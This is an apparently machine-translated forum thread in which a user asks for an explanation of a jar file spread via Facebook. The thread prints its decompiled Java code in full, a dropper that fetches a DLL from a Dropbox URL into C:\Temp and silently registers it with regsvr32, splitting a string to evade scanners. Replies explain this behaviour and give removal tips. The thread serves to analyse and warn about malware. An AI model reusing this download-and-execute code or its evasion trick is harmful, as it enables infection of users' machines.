有人能解释一下下面这段windows的匿名/恶作剧代码吗?

本文关键字:恶作剧 代码 windows 能解释 一下 | 更新日期: 2023-09-27 17:50:32

警告:

不要在任何机器上执行这段代码。可能是恶意代码

你好,我在facebook上找到了一份文件,来自一个看起来很像virus的人。所以我下载了它,很高兴我不是在Windows

我在virustotal上扫描了它,它说这个文件不久前刚扫描过,这意味着这个文件已经流传了一段时间。我还是扫描了一下,虚拟系统说它是干净的。

所以它的Zip文件,有一个jar文件,当我反编译jar文件中的。class文件到java代码时,它有硬编码字符串到C:'驱动器和一个dropbox url来下载数据文件。然后使用regsvr做一些注册表级别的更改。

因此,在这一点上,它很好地隐藏在一个无辜的jar文件中。但即使下载的module.dat文件看起来没有病毒根据virustotal

清单文件:

Manifest-Version: 1.0
Created-By: 1.7.0_45 (Oracle Corporation)
Main-Class: IMG_00045

但是有人能解释一下这段代码到底是做什么的吗?在进入代码之前…

数据文件似乎有这个:

PE32可执行文件(DLL) (GUI) Intel 80386, for MS Windows

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
public class IMG_00045
{
  public static void main(String[] paramArrayOfString)
    throws Exception
  {
    String str1 = "C:''T";
    str1 = str1.concat("emp");
    File localFile1 = new File(str1);
    localFile1.mkdir();
    File localFile2 = new File("C:''Temp''asdfr1.dat");
    if (localFile2.exists())
    {
      proc();
    } else {
      String str2 = "http://dl.dropboxusercontent.com/s/4w59212euubbjd8/module.dat?dl=1";
      String str3 = "C:''Temp''asdfr1.dat";
      dl(str2, str3);
    }
  }
  public static void proc()
    throws IOException
  {
    int i = 1;
    while (i < 7)
    {
      bala();
      i++;
    }
  }
  public static void bala()
    throws IOException
  {
    String[] arrayOfString = { "regsvr32", "/s", "C:''Temp''asdfr1.dat" };
    Runtime localRuntime = Runtime.getRuntime();
    Process localProcess = localRuntime.exec(arrayOfString);
  }
  public static void dl(String paramString1, String paramString2)
    throws IOException
  {
    URL localURL = new URL(paramString1);
    FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
    byte[] arrayOfByte = new byte[250000];
    InputStream localInputStream = localURL.openStream();
    int i;
    while ((i = localInputStream.read(arrayOfByte)) != -1)
      localFileOutputStream.write(arrayOfByte, 0, i);
    localInputStream.close();
    localFileOutputStream.close();
    proc();
  }
}

有人能解释一下吗什么是PE32 dll?为什么开发人员要使用两个字符串创建目录?(T + emp)扫描器可以检查这种类型的字符串吗?我不太了解注册码…它对注册表项和所涉及的dll做了什么[我提供了下面的链接,这是对数据文件内容的分析](不执行它:))

我也有数据文件分析链接,有人查看注册表,dll,锁涉及

https://malwr.com/analysis/ZjIzNDczYTA3OWUyNDY2MTkxNDBhNzI2OWY0MmEzZjM/

有人能解释一下下面这段windows的匿名/恶作剧代码吗?

代码从外部dropbox帐户下载文件并将其注册到系统中。该文件是DLL库。DLL保存在C:'Temp文件夹中。

问题:有人能解释一下什么是PE32 dll吗?http://en.wikipedia.org/wiki/Portable_Executable

问题:为什么开发人员使用两个字符串创建目录?(T + emp)扫描器可以检查这种类型的字符串吗?

攻击者阻止签名检测。

问题:它对注册表项和所涉及的dll做了什么?

攻击者利用任何应用程序以确定的顺序搜索所需dll的事实。第一个位置是当前文件夹。

攻击者场景:用户从C:'Temp文件夹运行任何应用程序。如果应用程序使用同名DLL中的方法,它会首先找到恶意DLL并执行其代码。

我昨天也收到了这个内容,不幸的是我运行了这个jar文件。它触发了对我联系人列表中的人的相同附件。我使用java反编译器浏览了一下类文件,发现上面给出的内容相同。

它实际上试图下载DAT文件并尝试使用regsvr32注册它。但是,在注册的时候有一个错误。我知道,当我故意试图注册它,知道什么是关键下,它将安装。DLL寄存器不工作。

但是,这个病毒的一个大问题是,它正在传播给我们联系人列表中的所有用户,并试图自行传播。

作为现在,DAT文件是不可用的(它是从DROPBOXUSERCONTENT.com下载)。由于流量大,文件访问被拒绝。

解决方案:尝试删除文件和文件夹"C:'TEMP'ASDFR1.dat"。文件很容易删除,但文件夹删除可能不工作。在这种情况下,尝试恢复您的系统。之后我就可以删除文件夹了。

如果我还需要做什么,请告诉我。